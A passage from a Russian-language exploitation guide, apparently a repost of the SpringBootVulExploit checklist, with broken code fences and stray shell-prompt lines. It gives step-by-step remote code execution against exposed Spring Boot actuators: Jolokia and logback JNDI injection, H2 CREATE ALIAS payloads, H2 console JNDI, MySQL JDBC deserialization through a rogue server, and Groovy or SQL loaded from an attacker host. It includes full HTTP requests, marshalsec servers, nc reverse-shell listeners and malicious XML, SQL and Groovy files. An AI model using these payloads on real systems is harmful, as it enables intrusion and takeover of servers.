    javac -source 1.5 -target 1.5 JNDIObject.java
    

    Затем скопируйте сгенерированный файл JNDIObject.class в корневую директорию веб-сайта из шага 2.

    Шаг 4: Настройка вредоносного ldap-сервиса

    Скачайте marshalsec и с помощью следующей команды запустите соответствующий ldap-сервис:```bash java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://your-vps-ip:80/#JNDIObject 1389

    root@kitploit:~
    ##### Шаг 5: прослушивание порта для обратной оболочки
    
    Обычно используйте nc для прослушивания порта и ожидания обратной оболочки```bash
    nc -lv 443
    
    Шаг шестой: загрузка файла конфигурации логов из внешнего URL

    ⚠️ Если цель успешно запросила example.xml и marshalsec также получил запрос цели, но цель не запросила JNDIObject.class, скорее всего, версия JDK целевой среды слишком высока, из-за чего эксплуатация JNDI не удалась.

    Замените фактический адрес your-vps-ip и перейдите по URL для эксплуатации уязвимости:``` /jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/your-vps-ip!/example.xml

    root@kitploit:~
    #### Принцип уязвимости:
    
    1. Прямой доступ к URL, который запускает уязвимость, эквивалентен вызову метода `reloadByURL` класса `ch.qos.logback.classic.jmx.JMXConfigurator` через jolokia.
    2. Целевая машина запрашивает внешний URL файла конфигурации журнала и получает содержимое вредоносного XML-файла.
    3. Целевая машина использует saxParser.parse для разбора XML-файла (здесь возникает уязвимость XXE).
    4. В XML-файле с помощью тега `insertFormJNDI` из зависимости `logback` задаётся адрес внешнего JNDI-сервера.
    5. Целевая машина обращается к вредоносному JNDI-серверу, что приводит к JNDI-инъекции и RCE-уязвимости.
    
    #### Анализ уязвимости:
    
    ​	[spring boot actuator rce via jolokia](https://xz.aliyun.com/t/4258)
    
    #### Среда уязвимости:
    
    [repository/springboot-jolokia-logback-rce](https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-jolokia-logback-rce)
    
    Нормальный доступ:```
    http://127.0.0.1:9094/env
    

    0x05: Jolokia Realm JNDI RCE

    Условия эксплуатации:

    • На целевом сайте присутствует интерфейс /jolokia или /actuator/jolokia
    • Цель использует зависимость jolokia-core (требования к версии пока неизвестны) и в среде присутствуют соответствующие MBean-компоненты
    • Цель может отправлять запросы на сервер атакующего (запросы могут выходить во внешнюю сеть)
    • Обычная инъекция JNDI зависит от версии JDK цели: jdk < 6u141/7u131/8u121 (RMI), но соответствующие среды могут обойти это ограничение

    Метод эксплуатации:

    Шаг 1: Просмотр существующих MBeans

    Обратиться к интерфейсу /jolokia/list, чтобы проверить наличие ключевых слов type=MBeanFactory и createJNDIRealm.

    Шаг 2: Подготовка Java-кода для выполнения

    Написать оптимизированный пример Java-кода для получения обратной оболочки — JNDIObject.java.

    Шаг 3: Размещение class-файла

    На подконтрольном VPS-сервере запустить простой HTTP-сервер, используя по возможности стандартные порты HTTP-сервисов (80, 443).```bash

    使用 python 快速开启 http server

    python2 -m SimpleHTTPServer 80 python3 -m http.server 80

    root@kitploit:~
    Скопируйте скомпилированный файл классов из **шага 2** в корневой каталог HTTP-сервера.
    
    
    
    ##### Шаг 4: Настройка вредоносного RMI-сервиса
    
    Скачайте [marshalsec](https://github.com/mbechler/marshalsec) и используйте следующую команду для настройки соответствующего RMI-сервиса:```bash
    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://your-vps-ip:80/#JNDIObject 1389
    
    Шаг 5: Прослушивание порта для обратной оболочки

    Обычно используется nc для прослушивания порта в ожидании обратной оболочки```bash nc -lvp 443

    root@kitploit:~
    ##### Шаг 6: Отправка вредоносной полезной нагрузки
    
    В зависимости от реальной ситуации измените целевой адрес, RMI-адрес, порт и другую информацию в скрипте [springboot-realm-jndi-rce.py](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/springboot-realm-jndi-rce.py), затем запустите его на контролируемом вами сервере.
    
    
    
    #### Принцип уязвимости:
    
    1. Используя Jolokia, вызовите createJNDIRealm для создания JNDIRealm
    2. Установите адрес connectionURL как URL службы RMI
    3. Установите contextFactory как RegistryContextFactory
    4. Остановите Realm
    5. Запустите Realm, чтобы вызвать JNDI-инъекцию по указанному RMI-адресу, что приведет к уязвимости RCE
    
    
    
    #### Анализ уязвимости:
    
    ​	[Yet Another Way to Exploit Spring Boot Actuators via Jolokia](https://static.anquanke.com/download/b/security-geek-2019-q1/article-10.html)
    
    
    
    #### Среда уязвимости:
    
    [repository/springboot-jolokia-logback-rce](https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-jolokia-logback-rce)
    
    Нормальный доступ:```
    http://127.0.0.1:9094/env
    

    0x06:restart h2 database query RCE

    Условия использования:

    • Можно отправлять POST-запросы на интерфейс /env целевого сайта для установки свойств.
    • Можно отправлять POST-запросы на интерфейс /restart целевого сайта для перезапуска приложения.
    • Имеется зависимость com.h2database.h2 (требования к версии пока неизвестны).

    Метод использования:

    Шаг 1: Установка свойства spring.datasource.hikari.connection-test-query

    ⚠️ Метод 'T5' в приведенном ниже payload после каждого выполнения команды необходимо переименовывать (например, в T6), чтобы его можно было создать заново, в противном случае при следующем перезапуске приложения уязвимость не сработает.

    spring 1.x (выполнение команды без вывода)``` POST /env Content-Type: application/x-www-form-urlencoded

    spring.datasource.hikari.connection-test-query=CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('cmd','/c','calc');

    root@kitploit:~
    spring 2.x (выполнение команды без вывода)```
    POST /actuator/env
    Content-Type: application/json
    
    {"name":"spring.datasource.hikari.connection-test-query","value":"CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('cmd','/c','calc');"}
    
    Шаг 2: Перезапустите приложение

    spring 1.x``` POST /restart Content-Type: application/x-www-form-urlencoded

    root@kitploit:~
    spring 2.x```
    POST /actuator/restart
    Content-Type: application/json
    
    

    Принцип уязвимости:

    1. Свойство spring.datasource.hikari.connection-test-query устанавливается в злонамеренный SQL-запрос CREATE ALIAS для создания пользовательской функции.
    2. Это свойство соответствует конфигурации connectionTestQuery пула соединений HikariCP, определяющей SQL-запрос, выполняемый перед установкой нового соединения с базой данных.
    3. Перезапуск приложения приводит к установке нового соединения с базой данных.
    4. Если пользовательская функция в SQL-запросе еще не была выполнена, то она будет выполнена, что приведет к RCE-уязвимости.

    Анализ уязвимости:

    ​ remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database

    Среда уязвимости:

    repository/springboot-h2-database-rce

    Нормальный доступ:``` http://127.0.0.1:9096/actuator/env

    root@kitploit:~
    ### 0x07: JNDI RCE в консоли H2 Database
    
    #### Условия эксплуатации:
    
    - Наличие зависимости `com.h2database.h2` (требования к версии пока неизвестны)
    - В конфигурации Spring включена консоль H2: `spring.h2.console.enabled=true`
    - Цель может отправлять запросы на сервер атакующего (запросы могут выходить во внешнюю сеть)
    - JNDI-инъекция зависит от версии JDK: jdk < 6u201/7u191/8u182/11.0.1 (способ LDAP)
    
    #### Метод эксплуатации:
    
    ##### Шаг 1: Получить jsessionid через доступ к маршруту
    
    Напрямую перейдите к маршруту по умолчанию `/h2-console`, где включена консоль H2. Цель перенаправит на страницу `/h2-console/login.jsp?jsessionid=xxxxxx`. Запишите фактическое значение `jsessionid=xxxxxx`.
    
    ##### Шаг 2: Подготовка Java-кода для выполнения
    
    Напишите оптимизированный [пример кода на Java](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/JNDIObject.java) для обратной оболочки (reverse shell) под названием `JNDIObject.java`.
    
    Скомпилируйте с поддержкой более старых версий JDK:```bash
    javac -source 1.5 -target 1.5 JNDIObject.java
    

    Затем скопируйте сгенерированный файл JNDIObject.class в корневой каталог сайта из Шага 2.

    Шаг 3: Размещение class-файла

    На управляемом вами VPS-сервере запустите простой HTTP-сервер, используйте порты, наиболее часто встречающиеся для HTTP-сервисов (80, 443).```bash

    使用 python 快速开启 http server

    python2 -m SimpleHTTPServer 80 python3 -m http.server 80

    root@kitploit:~
    Скопируйте скомпилированный файл class из **шага 2** в корневой каталог HTTP-сервера.
    
    
    
    ##### Шаг 4: Запуск вредоносного LDAP-сервера
    
    Скачайте [marshalsec](https://github.com/mbechler/marshalsec) и с помощью команды ниже запустите соответствующий LDAP-сервер:```bash
    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://your-vps-ip:80/#JNDIObject 1389
    
    Шаг пятый: Прослушивание порта для обратной оболочки

    Обычно используется nc для прослушивания порта в ожидании обратной оболочки.```bash nc -lv 443

    root@kitploit:~
    ##### Шаг шестой: отправка пакета для инициирования внедрения JNDI
    
    В соответствии с реальной ситуацией замените в следующих данных `jsessionid=xxxxxx`, `www.example.com` и `ldap://your-vps-ip:1389/JNDIObject````bash
    POST /h2-console/login.do?jsessionid=xxxxxx
    Host: www.example.com
    Content-Type: application/x-www-form-urlencoded
    Referer: http://www.example.com/h2-console/login.jsp?jsessionid=xxxxxx
    
    language=en&setting=Generic+H2+%28Embedded%29&name=Generic+H2+%28Embedded%29&driver=javax.naming.InitialContext&url=ldap://your-vps-ip:1389/JNDIObject&user=&password=
    

    Анализ уязвимости:

    ​ Spring Boot + JNDI-инъекция в БД H2

    Среда уязвимости:

    repository/springboot-h2-database-rce

    Нормальный доступ:``` http://127.0.0.1:9096/h2-console

    root@kitploit:~
    ### 0x08: mysql jdbc deserialization RCE
    
    #### Условия эксплуатации:
    
    - Возможность отправлять POST-запрос к эндпоинту `/env` целевого сайта для установки свойств
    - Возможность отправлять POST-запрос к эндпоинту `/refresh` для обновления конфигурации (при наличии зависимости `spring-boot-starter-actuator`)
    - Наличие зависимости `mysql-connector-java` в целевой среде
    - Цель может делать запросы к серверу атакующего (запросы могут выходить во внешнюю сеть)
    
    
    
    #### Метод эксплуатации:
    
    ##### Шаг 1: Проверка зависимостей окружения
    
    Отправьте GET-запрос к `/env` или `/actuator/env`, найдите ключевое слово `mysql-connector-java` в переменных окружения (classpath) и запишите его номер версии (5.x или 8.x);
    
    Поищите и проверьте, есть ли в переменных окружения распространенные зависимости для гаджетов десериализации, например `commons-collections`, `Jdk7u21`, `Jdk8u20` и т.д.;
    
    Найдите ключевое слово `spring.datasource.url`, запишите его значение `value`, чтобы позже восстановить исходный JDBC URL.
    
    
    
    ##### Шаг 2: Развертывание вредоносного rogue MySQL сервера
    
    На сервере, который вы контролируете, запустите скрипт [springboot-jdbc-deserialization-rce.py](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/springboot-jdbc-deserialization-rce.py) и используйте [ysoserial](https://github.com/frohoff/ysoserial) для настройки выполняемой команды:```bash
    java -jar ysoserial.jar CommonsCollections3 calc > payload.ser
    

    在脚本同目录下生成 payload.ser 反序列化 payload 文件,供脚本使用。

    Шаг 3: Установка свойства spring.datasource.url

    ⚠️ Изменение этого свойства временно сделает все обычные службы базы данных сайта недоступными, что повлияет на бизнес-операции. Пожалуйста, действуйте с осторожностью!

    Для версии mysql-connector-java 5.x установите значение свойства как:``` jdbc:mysql://your-vps-ip:3306/mysql?characterEncoding=utf8&useSSL=false&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true

    root@kitploit:~
    mysql-connector-java версии 8.x устанавливает **значение атрибута** как:```
    jdbc:mysql://your-vps-ip:3306/mysql?characterEncoding=utf8&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true
    

    spring 1.x``` POST /env Content-Type: application/x-www-form-urlencoded

    spring.datasource.url=对应属性值

    root@kitploit:~
    spring 2.x```
    POST /actuator/env
    Content-Type: application/json
    
    {"name":"spring.datasource.url","value":"对应属性值"}
    
    Шаг 4: Обновление конфигурации

    spring 1.x``` POST /refresh Content-Type: application/x-www-form-urlencoded

    root@kitploit:~
    spring 2.x```
    POST /actuator/refresh
    Content-Type: application/json
    
    
    Шаг пятый: инициирование запроса к базе данных

    Попробуйте получить доступ к известному интерфейсу запросов базы данных сайта, например: /product/list, или найдите другие способы активно инициировать запрос к базе данных исходного сайта, после чего уязвимость сработает.

    Шаг шестой: восстановление нормального jdbc url

    После завершения эксплуатации уязвимости десериализации используйте метод из шага три, чтобы восстановить исходное значение spring.datasource.url, записанное в шаге один.

    Принцип уязвимости:

    1. Атрибут spring.datasource.url устанавливается в адрес внешнего вредоносного mysql jdbc url.
    2. После refresh устанавливается новое значение атрибута spring.datasource.url.
    3. Когда сайт выполняет операции запросов к базе данных и т.п., он пытается установить новое соединение с базой данных, используя вредоносный mysql jdbc url.
    4. Затем вредоносный mysql server на соответствующем этапе установки соединения возвращает данные полезной нагрузки для десериализации.
    5. Зависимый mysql-connector-java десериализует настроенный гаджет, что приводит к RCE-уязвимости.

    Анализ уязвимости:

    New-Exploit-Technique-In-Java-Deserialization-Attack

    Среда уязвимости:

    Необходимо настроить spring.datasource.url, spring.datasource.username, spring.datasource.password в application.properties, чтобы гарантировать успешное подключение к базе данных mysql, иначе программа выдаст ошибку при запуске и завершит работу.

    repository/springboot-mysql-jdbc-rce

    Нормальный доступ:``` http://127.0.0.1:9097/actuator/env

    root@kitploit:~
    После отправки payload срабатывает уязвимость:```
    http://127.0.0.1:9097/product/list
    

    0x09:restart logging.config logback JNDI RCE

    Условия эксплуатации:

    • Можно отправлять POST-запрос к эндпоинту /env целевого сайта для установки свойств
    • Можно отправлять POST-запрос к эндпоинту /restart целевого сайта для перезапуска приложения
    • Обычное внедрение JNDI зависит от версии JDK цели: jdk < 6u201/7u191/8u182/11.0.1 (LDAP), но в некоторых окружениях это можно обойти
    • ⚠️ Цель должна иметь возможность делать запросы к HTTP-серверу атакующего (запросы должны выходить в интернет), иначе перезапуск приведёт к аварийному завершению программы
    • ⚠️ Если HTTP-сервер вернёт файл с некорректным содержимым XML-синтаксиса, это приведёт к аварийному завершению программы
    • ⚠️ Объект, возвращаемый службой JNDI, должен реализовывать интерфейс javax.naming.spi.ObjectFactory, иначе произойдёт аварийное завершение программы

    Методы эксплуатации:

    Шаг 1: Размещение XML-файла

    На вашей собственной VPS-машине запустите простой HTTP-сервер, используя по возможности распространённые HTTP-порты (80, 443)```bash

    使用 python 快速开启 http server

    python2 -m SimpleHTTPServer 80 python3 -m http.server 80

    root@kitploit:~
    В корневом каталоге разместите файл `example.xml`, оканчивающийся на `xml`. Фактическое содержимое должно определяться в соответствии с JNDI-сервисом, используемым на втором шаге.```xml
    <configuration>
      <insertFromJNDI env-entry-name="ldap://your-vps-ip:1389/TomcatBypass/Command/Base64/b3BlbiAtYSBDYWxjdWxhdG9y" as="appName" />
    </configuration>
    
    Шаг 2: Размещение вредоносного LDAP-сервера и кода

    Ссылаясь на статью, модифицируйте JNDIExploit и запустите (также можно использовать другие методы):```bash java -jar JNDIExploit-1.0-SNAPSHOT.jar -i your-vps-ip

    root@kitploit:~
    ##### Шаг 3: Настройка свойства logging.config
    
    spring 1.x```
    POST /env
    Content-Type: application/x-www-form-urlencoded
    
    logging.config=http://your-vps-ip/example.xml
    

    spring 2.x``` POST /actuator/env Content-Type: application/json

    {"name":"logging.config","value":"http://your-vps-ip/example.xml"}

    root@kitploit:~
    ##### Шаг 4: Перезапустите приложение
    
    spring 1.x```
    POST /restart
    Content-Type: application/x-www-form-urlencoded
    
    

    spring 2.x``` POST /actuator/restart Content-Type: application/json

    root@kitploit:~
    #### Принцип уязвимости:
    
    1. Целевая машина через атрибут `logging.config` устанавливает URL-адрес файла конфигурации журнала logback
    2. После перезапуска приложения программа запрашивает URL-адрес для получения содержимого вредоносного xml-файла
    3. Целевая машина использует `saxParser.parse` для разбора xml-файла (здесь возникает уязвимость XXE)
    4. В xml-файле используется тег `insertFormJNDI` из зависимости `logback`, устанавливающий адрес внешнего JNDI-сервера
    5. Целевая машина запрашивает вредоносный JNDI-сервер, что приводит к JNDI-инъекции и вызывает уязвимость RCE
    
    
    
    #### Анализ уязвимости:
    
    ​	[spring boot actuator rce via jolokia](https://xz.aliyun.com/t/4258)
    
    ​	https://landgrey.me/blog/21/
    
    
    
    #### Среда уязвимости:
    
    [repository/springboot-restart-rce](https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-restart-rce)
    
    Нормальный доступ:```
    http://127.0.0.1:9098/actuator/env
    

    0x0A: restart logging.config groovy RCE

    Условия эксплуатации:

    • Возможность отправлять POST-запросы к эндпоинту /env целевого сайта для установки свойств
    • Возможность отправлять POST-запросы к эндпоинту /restart целевого сайта для перезапуска приложения
    • ⚠️ Цель должна иметь возможность отправлять запросы на HTTP-сервер атакующего (запросы должны выходить во внешнюю сеть), иначе перезапуск приведёт к аварийному завершению программы
    • ⚠️ Если HTTP-сервер вернёт файл с некорректным синтаксисом groovy, это приведёт к аварийному завершению программы
    • ⚠️ В окружении должна присутствовать зависимость groovy, иначе перезапуск приведёт к аварийному завершению программы

    Метод использования:

    Шаг 1: Размещение groovy-файла

    На вашей собственной VPS-машине запустите простой HTTP-сервер, используя по возможности стандартные порты HTTP-служб (80, 443)```bash

    使用 python 快速开启 http server

    python2 -m SimpleHTTPServer 80 python3 -m http.server 80

    root@kitploit:~
    Разместите в корневом каталоге файл `example.groovy`, заканчивающийся на `groovy`, с кодом Groovy, который необходимо выполнить, например:```xml
    Runtime.getRuntime().exec("open -a Calculator")
    
    
    Шаг 2:Установка свойства logging.config

    spring 1.x``` POST /env Content-Type: application/x-www-form-urlencoded

    logging.config=http://your-vps-ip/example.groovy

    root@kitploit:~
    spring 2.x```
    POST /actuator/env
    Content-Type: application/json
    
    {"name":"logging.config","value":"http://your-vps-ip/example.groovy"}
    
    Шаг третий: перезапустите приложение

    spring 1.x``` POST /restart Content-Type: application/x-www-form-urlencoded

    root@kitploit:~
    spring 2.x```
    POST /actuator/restart
    Content-Type: application/json
    
    

    Принцип уязвимости:

    1. Целевая машина через свойство logging.config устанавливает URL-адрес файла конфигурации логов logback
    2. После перезапуска (restart) приложение запрашивает указанный URL-адрес
    3. В коде файла ch.qos.logback.classic.util.ContextInitializer.java компонента logback-classic проверяется, оканчивается ли URL на groovy
    4. Если URL оканчивается на groovy, то в итоге выполняется groovy-код из содержимого файла, что приводит к RCE-уязвимости

    Среда уязвимости:

    repository/springboot-restart-rce

    Нормальный доступ:``` http://127.0.0.1:9098/actuator/env

    root@kitploit:~
    ### 0x0B:restart spring.main.sources groovy RCE
    
    #### Условия эксплуатации:
    
    - Возможность отправлять POST-запросы на эндпоинт `/env` целевого сайта для установки свойств
    - Возможность отправлять POST-запросы на эндпоинт `/restart` целевого сайта для перезапуска приложения
    - ⚠️ Цель должна иметь возможность запрашивать HTTP-сервер злоумышленника (запросы могут выходить во внешнюю сеть), иначе перезапуск приведёт к аварийному завершению программы
    - ⚠️ Если HTTP-сервер возвращает файл с некорректным содержимым groovy, это приведёт к аварийному завершению программы
    - ⚠️ В среде должна присутствовать зависимость groovy, иначе это приведёт к аварийному завершению программы
    
    #### Метод эксплуатации:
    
    ##### Шаг 1: Размещение groovy-файла
    
    Запустите простой HTTP-сервер на своём VPS, используя по возможности стандартные HTTP-порты (80, 443).```bash
    # 使用 python 快速开启 http server
    
    python2 -m SimpleHTTPServer 80
    python3 -m http.server 80
    

    Поместите в корневой каталог файл example.groovy, заканчивающийся на groovy, содержащий код Groovy, который необходимо выполнить, например:```xml Runtime.getRuntime().exec("open -a Calculator")

    root@kitploit:~
    ##### Шаг второй: настройка свойства spring.main.sources
    
    spring 1.x```
    POST /env
    Content-Type: application/x-www-form-urlencoded
    
    spring.main.sources=http://your-vps-ip/example.groovy
    

    spring 2.x``` POST /actuator/env Content-Type: application/json

    {"name":"spring.main.sources","value":"http://your-vps-ip/example.groovy"}

    root@kitploit:~
    ##### Шаг третий: перезапуск приложения
    
    spring 1.x```
    POST /restart
    Content-Type: application/x-www-form-urlencoded
    
    

    spring 2.x``` POST /actuator/restart Content-Type: application/json

    root@kitploit:~
    #### Принцип уязвимости:
    
    1. Целевая машина может установить URL-адрес дополнительного источника для создания ApplicationContext через свойство `spring.main.sources`.
    2. После перезапуска приложения с помощью `restart`, программа запросит установленный URL-адрес.
    3. В логике кода файла `org.springframework.boot.BeanDefinitionLoader.java` компонента `spring-boot` проверяется, заканчивается ли URL на `.groovy`.
    4. Если URL заканчивается на `.groovy`, то в конечном итоге выполняется groovy-код из содержимого файла, что приводит к уязвимости RCE.
    
    #### Среда уязвимости:
    
    [repository/springboot-restart-rce](https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-restart-rce)
    
    Нормальный доступ:```
    http://127.0.0.1:9098/actuator/env
    

    0x0C:restart spring.datasource.data h2 database RCE

    Условия эксплуатации:

    • Возможность отправки POST-запроса к /env целевого сайта для установки свойств
    • Возможность отправки POST-запроса к /restart для перезапуска приложения
    • В среде должны присутствовать зависимости: h2database, spring-boot-starter-data-jpa
    • ⚠️ Цель должна иметь возможность отправлять запросы на HTTP-сервер атакующего (запросы должны выходить во внешнюю сеть), иначе restart приведет к аварийному завершению программы
    • ⚠️ Если HTTP-сервер вернет файл с некорректным синтаксисом H2 SQL, это приведет к аварийному завершению программы

    Метод эксплуатации:

    Шаг 1: Размещение SQL-файла

    На VPS-машине, которую вы контролируете, запустите простой HTTP-сервер, используя распространенные порты HTTP (80, 443).```bash

    使用 python 快速开启 http server

    python2 -m SimpleHTTPServer 80 python3 -m http.server 80

    root@kitploit:~
    В корневом каталоге разместите файл с произвольным именем, содержащий код SQL для выполнения h2, например:
    
    > ⚠️ Метод 'T5' в нижеприведённом payload можно выполнить только один раз при restart; для последующего restart необходимо изменить имя метода (например, на T6) и указать новый URL-адрес SQL, чтобы restart мог использовать его снова. В противном случае при повторном restart приложение аварийно завершится.```xml
    CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('/bin/bash','-c','open -a Calculator');
    
    Шаг 2: Установка свойства spring.datasource.data

    spring 1.x``` POST /env Content-Type: application/x-www-form-urlencoded

    spring.datasource.data=http://your-vps-ip/example.sql

    root@kitploit:~
    spring 2.x```
    POST /actuator/env
    Content-Type: application/json
    
    {"name":"spring.datasource.data","value":"http://your-vps-ip/example.sql"}
    
    Шаг третий: перезапуск приложения

    spring 1.x``` POST /restart Content-Type: application/x-www-form-urlencoded

    root@kitploit:~
    spring 2.x```
    POST /actuator/restart
    Content-Type: application/json
    
    

    Принцип уязвимости:

    1. Целевая машина может задать URL-адрес jdbc DML SQL-файла через свойство spring.datasource.data
    2. После перезапуска (restart) приложения программа запрашивает заданный URL-адрес
    3. В файле org.springframework.boot.autoconfigure.jdbc.DataSourceInitializer.java компонента spring-boot-autoconfigure код использует метод runScripts для выполнения SQL-кода h2 database из содержимого запрошенного URL, что приводит к RCE-уязвимости

    Среда уязвимости:

    repository/springboot-restart-rce

    Обычный доступ:``` http://127.0.0.1:9098/actuator/env

    root@kitploit:~
    Скачать инструмент